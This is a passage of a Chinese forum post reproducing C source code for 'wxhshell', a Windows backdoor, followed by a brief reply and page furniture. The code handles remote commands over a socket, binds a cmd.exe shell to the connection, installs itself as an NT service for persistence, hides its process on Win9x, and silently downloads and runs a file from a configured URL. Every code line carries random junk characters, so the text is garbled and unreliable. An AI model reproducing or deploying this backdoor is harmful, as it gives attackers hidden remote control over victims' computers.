  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PhAD: A  
  else +/ {lz8^,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ii# +JY0k  
  } YC$>D? FW  
  else { :|8!w  
L1WvX6  
    switch(cmd[0]) { `6RccEm  
  U{qwhz(  
  // 帮助 <,Pl31g^  
  case '?': { Vw3=jIQN:!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6v74mIRn'?  
    break; r9*6=*J|  
  } 8H1&=)M=  
  // 安装 ' 9%iHx-<  
  case 'i': { u@P1`E1Q  
    if(Install()) 6J_$dzw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0dQ\Y]b  
    else gLY15v4?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _8ks`O#}  
    break; ]q"y P 0  
    } 4;@L#Pzt  
  // 卸载 $d,/(*Y#-  
  case 'r': { # 2FrP5rC  
    if(Uninstall()) 9-vQn/O^D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#2(WHf =<  
    else GHo mk##0E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OG_v[  C5  
    break; !]5V{3  
    } tv Zq):c  
  // 显示 wxhshell 所在路径 wCV~9JTJ!  
  case 'p': { x6$3 KDQm  
    char svExeFile[MAX_PATH]; |WpJen*?Y  
    strcpy(svExeFile,"\n\r"); 2kk; z0f  
      strcat(svExeFile,ExeFile); B&BL<X r  
        send(wsh,svExeFile,strlen(svExeFile),0); @6%7X7m  
    break; ZD7qw*3+  
    } .XVL JJ#  
  // 重启 ]>ndFE6kl  
  case 'b': { MttFB;Tp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :Rnwyj])  
    if(Boot(REBOOT)) ~w9`l8/0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lgD %  
    else { AX'-}5T=  
    closesocket(wsh); y&eU\>M  
    ExitThread(0); G'';VoW=   
    } BjfTt:kY  
    break; _y sakn  
    } c.5u \ I9"  
  // 关机 .JJ50p  
  case 'd': { i2;,\FI@t%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .TDg`O24c,  
    if(Boot(SHUTDOWN)) ]=]MJ3_7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SG1AYUs V  
    else { +EqL|  
    closesocket(wsh); @?;)x&<8?3  
    ExitThread(0); QAMcI:5  
    } ^<uQ9p^B  
    break; o*"Q{Xh#Qd  
    } *~*"p)`<  
  // 获取shell 5*Qzw[[=  
  case 's': { #yU"n-eLR  
    CmdShell(wsh); 2$VSH&  
    closesocket(wsh); J, +/<Y!  
    ExitThread(0); z]LVq k  
    break; Iz;^D!  
  } [-81s!#mkw  
  // 退出 -j:yEZ4Oy  
  case 'x': { NS TO\36  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ly R<cd$W  
    CloseIt(wsh); Fu\#:+5\  
    break; ]2ycJ >w  
    } ipt]qJFd  
  // 离开 )q\6pO@  
  case 'q': { J4z&J SY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .3@Pz]\M#>  
    closesocket(wsh); )]<^*b>  
    WSACleanup(); }w2Et  
    exit(1); <X5ge>.  
    break; 0ia-D`^me  
        } zwP*7u$CH  
  } [Ls%nz|  
  } sJl>evw  
Ir*{IVvej  
  // 提示信息 'WBhW5@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hst Ge>f[6  
} Tu,nX'q]m  
  } l|vT[X/g  
jqTK7b  
  return; #e[r0f?U  
} 8YgRJQZ!  
?P#\ CW  
// shell模块句柄 bxBndxl  
int CmdShell(SOCKET sock) HqV4!o9'  
{ Qv;b$by3  
STARTUPINFO si; xon^=Wo;  
ZeroMemory(&si,sizeof(si)); sqjDh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $?VYHkX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KZaiy*>)  
PROCESS_INFORMATION ProcessInfo; JRE\R&>g  
char cmdline[]="cmd"; }g|9P SbJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'P4V_VMK  
  return 0; EaH/Gg3  
} pL>Yx>  
+bb-uoZf  
// 自身启动模式 =*>.z@WQ  
int StartFromService(void) Mpk7$=hjc  
{ #G?",,&dM  
typedef struct =KD[#au6a  
{ U^DR'X=  
  DWORD ExitStatus; 0Jd>V  
  DWORD PebBaseAddress; R mo'3  
  DWORD AffinityMask; -7J~^m2x  
  DWORD BasePriority; :`<MlX  
  ULONG UniqueProcessId; ="Az g8W  
  ULONG InheritedFromUniqueProcessId; Wg8*;dvtM  
}   PROCESS_BASIC_INFORMATION; 5>=4$!`  
_(8N*q*w  
PROCNTQSIP NtQueryInformationProcess; [[Nn~7  
2uF'\y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d?cCSf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R?}%rP+^e  
' 8Q }pp`  
  HANDLE             hProcess; vAOThj)  
  PROCESS_BASIC_INFORMATION pbi; e<~bDFH  
-KG1"g,2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A,7* 52U  
  if(NULL == hInst ) return 0; Y 7?q `  
d4A:XNKB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B&EUvY '  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UjyrmQf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @B?'Mu*  
^$rqyWZYp  
  if (!NtQueryInformationProcess) return 0; &k`lb kq  
}b{7+ + Ah  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A-M6MW  
  if(!hProcess) return 0; %xp 69  
o+- 0`!yj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8zjJshE/  
Zl.,pcL  
  CloseHandle(hProcess); ndk~(ex|j  
k[*> nE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wX <ov0?[  
if(hProcess==NULL) return 0; .5A .[ZY)  
R[QBFL<  
HMODULE hMod; 7dR]$ ~+*e  
char procName[255]; vJX0c\e  
unsigned long cbNeeded; e Dpt1  
T]\'D&P~D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ITz+O=I4R]  
3,Iu!KB  
  CloseHandle(hProcess); %P C[-(Q  
DJ1!Xuu  
if(strstr(procName,"services")) return 1; // 以服务启动 [?XP[h gd  
ke2M&TV  
  return 0; // 注册表启动 mKUm*m#<R  
} V~$?]Z%_  
\J-D@b;  
// 主模块 8}Q 2!,9Q  
int StartWxhshell(LPSTR lpCmdLine) FU)=+m  
{ I:;umyRH  
  SOCKET wsl; xE*. ,:,&  
BOOL val=TRUE; 3A.lS+P1  
  int port=0; m+x$LkP  
  struct sockaddr_in door; Sj v iH  
p]7IoO -@  
  if(wscfg.ws_autoins) Install(); ,=: -&~?  
RQ8;_)%  
port=atoi(lpCmdLine); Fnd_\`9{  
ku#WQL  
if(port<=0) port=wscfg.ws_port; p ^)3p5w  
~*e@^Nv)v  
  WSADATA data; %Vk77(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u7},+E)+B  
hzA+,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $M$-c{>s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,G[Y< ~Hy  
  door.sin_family = AF_INET; HK VtO%&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b&9~F6aM  
  door.sin_port = htons(port); a.a ,_  
xrv0%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X,}(MW  
closesocket(wsl); hUEA)c  
return 1; v^Rw9*w{  
} !1Ht{cA0  
2AEVBkF;M  
  if(listen(wsl,2) == INVALID_SOCKET) { K87yQOjPv  
closesocket(wsl); TYCjVxfu$  
return 1; Tl1H2s=G-  
} bHQ) :W  
  Wxhshell(wsl); |OuIQhoE  
  WSACleanup(); `]a0z|2'!  
1*.*\4xo  
return 0; ^z51f>C  
5kojh _\  
} F^5\w-gLY  
{]$)dz5  
// 以NT服务方式启动 8is QL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ar<!F/  
{ Lyit`j~yH  
DWORD   status = 0; T2Yc` +  
  DWORD   specificError = 0xfffffff; \u;`Lf  
| /n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7y_<BCx h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? 51i0~O=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1-E utq  
  serviceStatus.dwWin32ExitCode     = 0; qd<I;*WV  
  serviceStatus.dwServiceSpecificExitCode = 0; Qj$w7*U  
  serviceStatus.dwCheckPoint       = 0; 9!.S9[[N  
  serviceStatus.dwWaitHint       = 0; 0%)T]SDS  
~YByyJG   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u'T-}95 V  
  if (hServiceStatusHandle==0) return; ^x_$%8  
Ejnk\8:  
status = GetLastError(); /rky  
  if (status!=NO_ERROR) T6."j_  
{ :6/$/`I0W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (H\ `/%Bp  
    serviceStatus.dwCheckPoint       = 0; Sh?eb  
    serviceStatus.dwWaitHint       = 0; |sEuhP\A3  
    serviceStatus.dwWin32ExitCode     = status; GRaU]Z]ck  
    serviceStatus.dwServiceSpecificExitCode = specificError; #Tt*NU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1g jGaC  
    return; d24_,o\_  
  } {'z$5<|  
G6+6u Wvl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Uv652DC  
  serviceStatus.dwCheckPoint       = 0; X5)(,036  
  serviceStatus.dwWaitHint       = 0;  m]H]0T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yvnDS"0<  
} b*/Mco 9O  
p#_ 5w  
// 处理NT服务事件,比如:启动、停止 ).A9>^6?{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e m0 hTxb  
{ eTay/i<-  
switch(fdwControl) _pDfPLlY&  
{ 29m$S7[  
case SERVICE_CONTROL_STOP: gXM+N(M-  
  serviceStatus.dwWin32ExitCode = 0; c?REDj2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ael] {'h]  
  serviceStatus.dwCheckPoint   = 0; ),[@NK&=  
  serviceStatus.dwWaitHint     = 0; \CV HtV  
  { KY%{'"'u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3:xKq4?  
  } q ]VB}nO  
  return; g"(@+\XZH"  
case SERVICE_CONTROL_PAUSE: ~"<^4h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t\TxK7i  
  break; ST;o^\B  
case SERVICE_CONTROL_CONTINUE: x 4sIZe+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %g{)K)$,ui  
  break; < (B|g&A  
case SERVICE_CONTROL_INTERROGATE: FSAX , Y  
  break; Q'JK *.l  
}; ]f&f_"D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DEt!/a{X  
} 8S8UV(K0  
cza_LO(  
// 标准应用程序主函数 ?u/UV,";y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~8"oH5  
{ VJFFH\!`  
?Zsh\^k.g  
// 获取操作系统版本 R!lug;u#  
OsIsNt=GetOsVer(); nc\2A>f`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BG= J8  
{ 0&l*@c&  
  // 从命令行安装 6-0sBB9=u  
  if(strpbrk(lpCmdLine,"iI")) Install(); \nPf\6;M  
&[_@f#  
  // 下载执行文件 odC"#Rb  
if(wscfg.ws_downexe) { &q9=0So4\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }f14# y;  
  WinExec(wscfg.ws_filenam,SW_HIDE); F|qMo|  
} a]xGzv5  
vy{k"W&S  
if(!OsIsNt) { 'b z&m(!  
// 如果时win9x,隐藏进程并且设置为注册表启动 G2?#MO  
HideProc(); hayJgkZ '  
StartWxhshell(lpCmdLine); `]]<.>R  
} 3\ ,t_6}  
else gx',K1T  
  if(StartFromService()) <\O8D0.d  
  // 以服务方式启动 U]_WX(4 @  
  StartServiceCtrlDispatcher(DispatchTable); aq8./^  
else 5J|S6x\  
  // 普通方式启动 V$O6m|q  
  StartWxhshell(lpCmdLine); 2f@Cy+W'[  
.P/0 `A{&  
return 0; UZrEFpi  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五